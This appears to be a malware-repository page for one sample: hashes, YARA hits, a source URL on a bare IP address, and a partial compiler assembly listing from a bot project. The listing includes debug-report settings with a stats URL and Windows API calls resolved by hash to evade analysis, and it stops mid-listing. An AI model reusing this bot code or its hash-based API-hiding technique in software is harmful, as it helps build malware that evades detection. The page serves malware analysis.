Warning! We are currently in recovery mode. The complete archive is not available.

Sample details: 93b6a3cb4c90949bbf4f53d9b3893709 --

Hashes
MD5: 93b6a3cb4c90949bbf4f53d9b3893709
SHA1: f37d6b99b220b71815b96990e9f7c9c59cb1736e
SHA256: 27eee6dadc8a83348476f83a61758cdad3a20dd0a4cac0ee764dd3b6e296be8e
SSDEEP: 3072:4zOfBwwsHJU+uBZmbUttTvtS8zGKpSGzow5aHA0cPTowQAb/5GKdkHexnNQP4qYq:8StKos
Details
File Type: BSD
Yara Hits
CuckooSandbox/embedded_win_api | YRP/domain | YRP/url | YRP/contentis_base64 | YRP/Antivirus |
Source
http://103.68.190.250/Sources//Advance/BJWJ/Builds/BOT_PLUG/Objs/Release/DbgRpt.cod
Strings
		; Listing generated by Microsoft (R) Optimizing Compiler Version 15.00.30729.01 
	TITLE	e:\Projects\progs\Petrosjan\BJWJ\source\Common\DbgRpt.cpp
	.686P
	include listing.inc
	.model	flat
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
PUBLIC	?Hibernation@TVideoRecDLL@@2HB			; TVideoRecDLL::Hibernation
PUBLIC	?RunCallback@TVideoRecDLL@@2HB			; TVideoRecDLL::RunCallback
_BSS	SEGMENT
_DbgRptSettings DD 01H DUP (?)
_BSS	ENDS
;	COMDAT ?RunCallback@TVideoRecDLL@@2HB
CONST	SEGMENT
?RunCallback@TVideoRecDLL@@2HB DD 01000H		; TVideoRecDLL::RunCallback
CONST	ENDS
;	COMDAT ?Hibernation@TVideoRecDLL@@2HB
CONST	SEGMENT
?Hibernation@TVideoRecDLL@@2HB DD 01H			; TVideoRecDLL::Hibernation
CONST	ENDS
PUBLIC	??_7TBotObject@@6B@				; TBotObject::`vftable'
PUBLIC	??1TBotObject@@UAE@XZ				; TBotObject::~TBotObject
EXTRN	??_ETBotObject@@UAEPAXI@Z:PROC			; TBotObject::`vector deleting destructor'
;	COMDAT ??_7TBotObject@@6B@
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
CONST	SEGMENT
??_7TBotObject@@6B@ DD FLAT:??_ETBotObject@@UAEPAXI@Z	; TBotObject::`vftable'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ??1TBotObject@@UAE@XZ
_TEXT	SEGMENT
??1TBotObject@@UAE@XZ PROC				; TBotObject::~TBotObject, COMDAT
; _this$ = ecx
; 883  : 	virtual ~TBotObject() {}
  00000	c7 01 00 00 00
	00		 mov	 DWORD PTR [ecx], OFFSET ??_7TBotObject@@6B@
  00006	c3		 ret	 0
??1TBotObject@@UAE@XZ ENDP				; TBotObject::~TBotObject
_TEXT	ENDS
EXTRN	??3TBotObject@@SAXPAX@Z:PROC			; TBotObject::operator delete
; Function compile flags: /Ogspy
;	COMDAT ??_GTBotObject@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_GTBotObject@@UAEPAXI@Z PROC				; TBotObject::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	f6 44 24 04 01	 test	 BYTE PTR ___flags$[esp-4], 1
  00005	56		 push	 esi
  00006	8b f1		 mov	 esi, ecx
  00008	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBotObject@@6B@
  0000e	74 07		 je	 SHORT $LN1@scalar
  00010	56		 push	 esi
  00011	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00016	59		 pop	 ecx
$LN1@scalar:
  00017	8b c6		 mov	 eax, esi
  00019	5e		 pop	 esi
  0001a	c2 04 00	 ret	 4
??_GTBotObject@@UAEPAXI@Z ENDP				; TBotObject::`scalar deleting destructor'
_TEXT	ENDS
PUBLIC	??0TBotObject@@QAE@XZ				; TBotObject::TBotObject
; Function compile flags: /Ogspy
;	COMDAT ??0TBotObject@@QAE@XZ
_TEXT	SEGMENT
??0TBotObject@@QAE@XZ PROC				; TBotObject::TBotObject, COMDAT
; _this$ = ecx
  00000	8b c1		 mov	 eax, ecx
  00002	c7 00 00 00 00
	00		 mov	 DWORD PTR [eax], OFFSET ??_7TBotObject@@6B@
  00008	c3		 ret	 0
??0TBotObject@@QAE@XZ ENDP				; TBotObject::TBotObject
_TEXT	ENDS
PUBLIC	?DebugReportAllocSettings@@YAPAUDebugReportSettings@@_NPBD1@Z ; DebugReportAllocSettings
EXTRN	?New@STR@@YAPADPADK@Z:PROC			; STR::New
EXTRN	?Alloc@HEAP@@YAPAXK@Z:PROC			; HEAP::Alloc
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
;	COMDAT ?DebugReportAllocSettings@@YAPAUDebugReportSettings@@_NPBD1@Z
_TEXT	SEGMENT
_Enabled$ = 8						; size = 1
_StatPrefix$ = 12					; size = 4
_StatUrl$ = 16						; size = 4
?DebugReportAllocSettings@@YAPAUDebugReportSettings@@_NPBD1@Z PROC ; DebugReportAllocSettings, COMDAT
; 62   : {
  00000	56		 push	 esi
; 63   : 	DebugReportSettings* result = CreateStruct(DebugReportSettings);
  00001	6a 0c		 push	 12			; 0000000cH
  00003	e8 00 00 00 00	 call	 ?Alloc@HEAP@@YAPAXK@Z	; HEAP::Alloc
  00008	8b f0		 mov	 esi, eax
; 64   : 
; 65   : 	result->Enabled    = Enabled;
  0000a	8a 44 24 0c	 mov	 al, BYTE PTR _Enabled$[esp+4]
; 66   : 	result->StatPrefix = STR::New((PCHAR)StatPrefix);
  0000e	6a 00		 push	 0
  00010	ff 74 24 14	 push	 DWORD PTR _StatPrefix$[esp+8]
  00014	88 06		 mov	 BYTE PTR [esi], al
  00016	e8 00 00 00 00	 call	 ?New@STR@@YAPADPADK@Z	; STR::New
; 67   : 	result->StatUrl    = STR::New((PCHAR)StatUrl);
  0001b	6a 00		 push	 0
  0001d	ff 74 24 20	 push	 DWORD PTR _StatUrl$[esp+16]
  00021	89 46 04	 mov	 DWORD PTR [esi+4], eax
  00024	e8 00 00 00 00	 call	 ?New@STR@@YAPADPADK@Z	; STR::New
  00029	89 46 08	 mov	 DWORD PTR [esi+8], eax
  0002c	83 c4 14	 add	 esp, 20			; 00000014H
; 68   : 	
; 69   : 	return result;
  0002f	8b c6		 mov	 eax, esi
  00031	5e		 pop	 esi
; 70   : }
  00032	c3		 ret	 0
?DebugReportAllocSettings@@YAPAUDebugReportSettings@@_NPBD1@Z ENDP ; DebugReportAllocSettings
_TEXT	ENDS
PUBLIC	?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings
EXTRN	?Free@HEAP@@YAXPAX@Z:PROC			; HEAP::Free
EXTRN	?Free@STR@@YAXPAD@Z:PROC			; STR::Free
_BSS	SEGMENT
_DbgRptSettingDefault DB 0cH DUP (?)
; Function compile flags: /Ogspy
_BSS	ENDS
;	COMDAT ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z
_TEXT	SEGMENT
_settings$ = 8						; size = 4
?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z PROC ; DebugReportFreeSettings, COMDAT
; 74   : {
  00000	56		 push	 esi
; 75   : 	if (settings == NULL) return;
  00001	8b 74 24 08	 mov	 esi, DWORD PTR _settings$[esp]
  00005	85 f6		 test	 esi, esi
  00007	74 2b		 je	 SHORT $LN5@DebugRepor
; 76   : 	if (settings == &DbgRptSettingDefault) return;
  00009	81 fe 00 00 00
	00		 cmp	 esi, OFFSET _DbgRptSettingDefault
  0000f	74 23		 je	 SHORT $LN5@DebugRepor
; 77   : 
; 78   : 	if (settings->StatPrefix != NULL) STR::Free(settings->StatPrefix);
  00011	8b 46 04	 mov	 eax, DWORD PTR [esi+4]
  00014	85 c0		 test	 eax, eax
  00016	74 07		 je	 SHORT $LN2@DebugRepor
  00018	50		 push	 eax
  00019	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  0001e	59		 pop	 ecx
$LN2@DebugRepor:
; 79   : 	if (settings->StatUrl != NULL)    STR::Free(settings->StatUrl);
  0001f	8b 46 08	 mov	 eax, DWORD PTR [esi+8]
  00022	85 c0		 test	 eax, eax
  00024	74 07		 je	 SHORT $LN1@DebugRepor
  00026	50		 push	 eax
  00027	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  0002c	59		 pop	 ecx
$LN1@DebugRepor:
; 80   : 	
; 81   : 	FreeStruct(settings);
  0002d	56		 push	 esi
  0002e	e8 00 00 00 00	 call	 ?Free@HEAP@@YAXPAX@Z	; HEAP::Free
  00033	59		 pop	 ecx
$LN5@DebugRepor:
  00034	5e		 pop	 esi
; 82   : }
  00035	c3		 ret	 0
?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ENDP ; DebugReportFreeSettings
_TEXT	ENDS
PUBLIC	??_7?$TString@D@@6B@				; TString<char>::`vftable'
PUBLIC	??0?$TString@D@@QAE@XZ				; TString<char>::TString<char>
EXTRN	??_E?$TString@D@@UAEPAXI@Z:PROC			; TString<char>::`vector deleting destructor'
;	COMDAT ??_7?$TString@D@@6B@
; File e:\projects\progs\petrosjan\bjwj\source\common\videorecorder.h
CONST	SEGMENT
??_7?$TString@D@@6B@ DD FLAT:??_E?$TString@D@@UAEPAXI@Z	; TString<char>::`vftable'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strings.h
CONST	ENDS
;	COMDAT ??0?$TString@D@@QAE@XZ
_TEXT	SEGMENT
??0?$TString@D@@QAE@XZ PROC				; TString<char>::TString<char>, COMDAT
; _this$ = ecx
; 415  : 	TString() : Data(0) {};
  00000	8b c1		 mov	 eax, ecx
  00002	83 60 04 00	 and	 DWORD PTR [eax+4], 0
  00006	c7 00 00 00 00
	00		 mov	 DWORD PTR [eax], OFFSET ??_7?$TString@D@@6B@
  0000c	c3		 ret	 0
??0?$TString@D@@QAE@XZ ENDP				; TString<char>::TString<char>
_TEXT	ENDS
PUBLIC	??_C@_11LOCGONAA@?$AA?$AA@			; `string'
PUBLIC	?t_str@?$TString@D@@QBEPADXZ			; TString<char>::t_str
;	COMDAT ??_C@_11LOCGONAA@?$AA?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
CONST	SEGMENT
??_C@_11LOCGONAA@?$AA?$AA@ DB 00H, 00H			; `string'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?t_str@?$TString@D@@QBEPADXZ
_TEXT	SEGMENT
?t_str@?$TString@D@@QBEPADXZ PROC			; TString<char>::t_str, COMDAT
; _this$ = ecx
; 701  : 	// 
; 702  : 	// 
; 703  : 	// 
; 704  : 	return (Data)? Data : (TChar*)L"";
  00000	8b 41 04	 mov	 eax, DWORD PTR [ecx+4]
  00003	85 c0		 test	 eax, eax
  00005	75 05		 jne	 SHORT $LN4@t_str
  00007	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN4@t_str:
; 705  : }
  0000c	c3		 ret	 0
?t_str@?$TString@D@@QBEPADXZ ENDP			; TString<char>::t_str
_TEXT	ENDS
PUBLIC	?Length@?$STRUTILS@D@@SAKPBD@Z			; STRUTILS<char>::Length
; Function compile flags: /Ogspy
;	COMDAT ?Length@?$STRUTILS@D@@SAKPBD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
?Length@?$STRUTILS@D@@SAKPBD@Z PROC			; STRUTILS<char>::Length, COMDAT
; 27   : 	// 
; 28   : 	DWORD Len = 0;
; 29   : 	if (Str != NULL)
  00000	8b 4c 24 04	 mov	 ecx, DWORD PTR _Str$[esp-4]
  00004	33 c0		 xor	 eax, eax
  00006	85 c9		 test	 ecx, ecx
  00008	74 0b		 je	 SHORT $LN7@Length
; 30   : 		while (*Str++) Len++;
  0000a	38 01		 cmp	 BYTE PTR [ecx], al
  0000c	74 07		 je	 SHORT $LN7@Length
$LL2@Length:
  0000e	41		 inc	 ecx
  0000f	40		 inc	 eax
  00010	80 39 00	 cmp	 BYTE PTR [ecx], 0
  00013	75 f9		 jne	 SHORT $LL2@Length
$LN7@Length:
; 31   : 
; 32   : 	return Len;
; 33   : }
  00015	c3		 ret	 0
?Length@?$STRUTILS@D@@SAKPBD@Z ENDP			; STRUTILS<char>::Length
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPAUDebugReportSettings@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUDebugReportSettings@@@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,DebugReportSettings *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBDPAUDebugReportSettings@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUDebugReportSettings@@@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
??$DBGOutMessage@PBDPBDPAUDebugReportSettings@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUDebugReportSettings@@@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,DebugReportSettings *>, COMDAT
; 74   : 	#ifdef DebugUtils
; 75   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1);
; 76   : 	#endif
; 77   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPAUDebugReportSettings@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUDebugReportSettings@@@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,DebugReportSettings *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0NKIBLMFI@$0IP@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ; pushargEx<1,3665935448,143,_RTL_CRITICAL_SECTION *>
EXTRN	?GetProcAddressEx2@@YAPAXPADKKH@Z:PROC		; GetProcAddressEx2
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0NKIBLMFI@$0IP@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0NKIBLMFI@$0IP@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z PROC ; pushargEx<1,3665935448,143,_RTL_CRITICAL_SECTION *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 8f 00 00 00	 push	 143			; 0000008fH
  00005	68 58 bc 81 da	 push	 -629031848		; da81bc58H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00016	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  0001a	ff d0		 call	 eax
; 103  : }
  0001c	c3		 ret	 0
??$pushargEx@$00$0NKIBLMFI@$0IP@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ENDP ; pushargEx<1,3665935448,143,_RTL_CRITICAL_SECTION *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$01$0JAKAJHOG@$0OO@PAUHKEY__@@PADHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PADHHHJHPAPAU0@PAK@Z ; pushargEx<2,2426443750,238,HKEY__ *,char *,int,int,int,long,int,HKEY__ * *,unsigned long *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$01$0JAKAJHOG@$0OO@PAUHKEY__@@PADHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PADHHHJHPAPAU0@PAK@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
_a5$ = 24						; size = 4
_a6$ = 28						; size = 4
_a7$ = 32						; size = 4
_a8$ = 36						; size = 4
_a9$ = 40						; size = 4
??$pushargEx@$01$0JAKAJHOG@$0OO@PAUHKEY__@@PADHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PADHHHJHPAPAU0@PAK@Z PROC ; pushargEx<2,2426443750,238,HKEY__ *,char *,int,int,int,long,int,HKEY__ * *,unsigned long *>, COMDAT
; 163  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 164  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F, G, H, I);
; 165  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00003	68 ee 00 00 00	 push	 238			; 000000eeH
  00008	68 e6 97 a0 90	 push	 -1868523546		; 90a097e6H
  0000d	6a 02		 push	 2
  0000f	6a 00		 push	 0
  00011	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00016	83 c4 10	 add	 esp, 16			; 00000010H
; 166  : 	return func(a1, a2, a3, a4, a5, a6, a7, a8, a9);
  00019	ff 75 28	 push	 DWORD PTR _a9$[ebp]
  0001c	ff 75 24	 push	 DWORD PTR _a8$[ebp]
  0001f	ff 75 20	 push	 DWORD PTR _a7$[ebp]
  00022	ff 75 1c	 push	 DWORD PTR _a6$[ebp]
  00025	ff 75 18	 push	 DWORD PTR _a5$[ebp]
  00028	ff 75 14	 push	 DWORD PTR _a4$[ebp]
  0002b	ff 75 10	 push	 DWORD PTR _a3$[ebp]
  0002e	ff 75 0c	 push	 DWORD PTR _a2$[ebp]
  00031	ff 75 08	 push	 DWORD PTR _a1$[ebp]
  00034	ff d0		 call	 eax
; 167  : }
  00036	5d		 pop	 ebp
  00037	c3		 ret	 0
??$pushargEx@$01$0JAKAJHOG@$0OO@PAUHKEY__@@PADHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PADHHHJHPAPAU0@PAK@Z ENDP ; pushargEx<2,2426443750,238,HKEY__ *,char *,int,int,int,long,int,HKEY__ * *,unsigned long *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBDPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
??$DBGOutMessage@PBDPBDPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *>, COMDAT
; 74   : 	#ifdef DebugUtils
; 75   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1);
; 76   : 	#endif
; 77   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPAUHKEY__@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUHKEY__@@@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,HKEY__ *>
; Function compile flags: /Ogspy
;	COMDAT ??$DBGOutMessage@PBDPBDPAUHKEY__@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUHKEY__@@@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
??$DBGOutMessage@PBDPBDPAUHKEY__@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUHKEY__@@@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,HKEY__ *>, COMDAT
; 74   : 	#ifdef DebugUtils
; 75   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1);
; 76   : 	#endif
; 77   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDPAUHKEY__@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUHKEY__@@@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,HKEY__ *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$01$0BIACOHMI@$0NG@PAUHKEY__@@PADHPAKPAEPAK@@YAPAXPAUHKEY__@@PADHPAKPAE2@Z ; pushargEx<2,402843592,214,HKEY__ *,char *,int,unsigned long *,unsigned char *,unsigned long *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$01$0BIACOHMI@$0NG@PAUHKEY__@@PADHPAKPAEPAK@@YAPAXPAUHKEY__@@PADHPAKPAE2@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
_a5$ = 24						; size = 4
_a6$ = 28						; size = 4
??$pushargEx@$01$0BIACOHMI@$0NG@PAUHKEY__@@PADHPAKPAEPAK@@YAPAXPAUHKEY__@@PADHPAKPAE2@Z PROC ; pushargEx<2,402843592,214,HKEY__ *,char *,int,unsigned long *,unsigned char *,unsigned long *>, COMDAT
; 139  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 140  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F);
; 141  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00003	68 d6 00 00 00	 push	 214			; 000000d6H
  00008	68 c8 e7 02 18	 push	 402843592		; 1802e7c8H
  0000d	6a 02		 push	 2
  0000f	6a 00		 push	 0
  00011	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00016	83 c4 10	 add	 esp, 16			; 00000010H
; 142  : 	return func(a1, a2, a3, a4, a5, a6);
  00019	ff 75 1c	 push	 DWORD PTR _a6$[ebp]
  0001c	ff 75 18	 push	 DWORD PTR _a5$[ebp]
  0001f	ff 75 14	 push	 DWORD PTR _a4$[ebp]
  00022	ff 75 10	 push	 DWORD PTR _a3$[ebp]
  00025	ff 75 0c	 push	 DWORD PTR _a2$[ebp]
  00028	ff 75 08	 push	 DWORD PTR _a1$[ebp]
  0002b	ff d0		 call	 eax
; 143  : }
  0002d	5d		 pop	 ebp
  0002e	c3		 ret	 0
??$pushargEx@$01$0BIACOHMI@$0NG@PAUHKEY__@@PADHPAKPAEPAK@@YAPAXPAUHKEY__@@PADHPAKPAE2@Z ENDP ; pushargEx<2,402843592,214,HKEY__ *,char *,int,unsigned long *,unsigned char *,unsigned long *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$01$0NLDFFFDE@$0NI@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z ; pushargEx<2,3677705524,216,HKEY__ *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$01$0NLDFFFDE@$0NI@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$01$0NLDFFFDE@$0NI@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z PROC ; pushargEx<2,3677705524,216,HKEY__ *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 d8 00 00 00	 push	 216			; 000000d8H
  00005	68 34 55 35 db	 push	 -617261772		; db355534H
  0000a	6a 02		 push	 2
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00016	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  0001a	ff d0		 call	 eax
; 103  : }
  0001c	c3		 ret	 0
??$pushargEx@$01$0NLDFFFDE@$0NI@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z ENDP ; pushargEx<2,3677705524,216,HKEY__ *>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDKK@DBGRPTDEBGTEMPLATES@@YAXPBD0KK@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,unsigned long,unsigned long>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBDKK@DBGRPTDEBGTEMPLATES@@YAXPBD0KK@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
_Arg2$ = 20						; size = 4
??$DBGOutMessage@PBDPBDKK@DBGRPTDEBGTEMPLATES@@YAXPBD0KK@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,unsigned long,unsigned long>, COMDAT
; 82   : 	#ifdef DebugUtils
; 83   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2);
; 84   : 	#endif
; 85   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDKK@DBGRPTDEBGTEMPLATES@@YAXPBD0KK@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,unsigned long,unsigned long>
_TEXT	ENDS
PUBLIC	??$pushargEx@$01$0DOEAAPNG@$0NL@PAUHKEY__@@PADHHPBEK@@YAPAXPAUHKEY__@@PADHHPBEK@Z ; pushargEx<2,1044385750,219,HKEY__ *,char *,int,int,unsigned char const *,unsigned long>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$01$0DOEAAPNG@$0NL@PAUHKEY__@@PADHHPBEK@@YAPAXPAUHKEY__@@PADHHPBEK@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
_a5$ = 24						; size = 4
_a6$ = 28						; size = 4
??$pushargEx@$01$0DOEAAPNG@$0NL@PAUHKEY__@@PADHHPBEK@@YAPAXPAUHKEY__@@PADHHPBEK@Z PROC ; pushargEx<2,1044385750,219,HKEY__ *,char *,int,int,unsigned char const *,unsigned long>, COMDAT
; 139  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 140  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F);
; 141  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00003	68 db 00 00 00	 push	 219			; 000000dbH
  00008	68 d6 0f 40 3e	 push	 1044385750		; 3e400fd6H
  0000d	6a 02		 push	 2
  0000f	6a 00		 push	 0
  00011	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00016	83 c4 10	 add	 esp, 16			; 00000010H
; 142  : 	return func(a1, a2, a3, a4, a5, a6);
  00019	ff 75 1c	 push	 DWORD PTR _a6$[ebp]
  0001c	ff 75 18	 push	 DWORD PTR _a5$[ebp]
  0001f	ff 75 14	 push	 DWORD PTR _a4$[ebp]
  00022	ff 75 10	 push	 DWORD PTR _a3$[ebp]
  00025	ff 75 0c	 push	 DWORD PTR _a2$[ebp]
  00028	ff 75 08	 push	 DWORD PTR _a1$[ebp]
  0002b	ff d0		 call	 eax
; 143  : }
  0002d	5d		 pop	 ebp
  0002e	c3		 ret	 0
??$pushargEx@$01$0DOEAAPNG@$0NL@PAUHKEY__@@PADHHPBEK@@YAPAXPAUHKEY__@@PADHHPBEK@Z ENDP ; pushargEx<2,1044385750,219,HKEY__ *,char *,int,int,unsigned char const *,unsigned long>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDK@DBGRPTDEBGTEMPLATES@@YAXPBD0K@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,unsigned long>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBDK@DBGRPTDEBGTEMPLATES@@YAXPBD0K@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
??$DBGOutMessage@PBDPBDK@DBGRPTDEBGTEMPLATES@@YAXPBD0K@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,unsigned long>, COMDAT
; 74   : 	#ifdef DebugUtils
; 75   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1);
; 76   : 	#endif
; 77   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBDK@DBGRPTDEBGTEMPLATES@@YAXPBD0K@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,unsigned long>
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBD_NPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,bool,char *>
; Function compile flags: /Ogspy
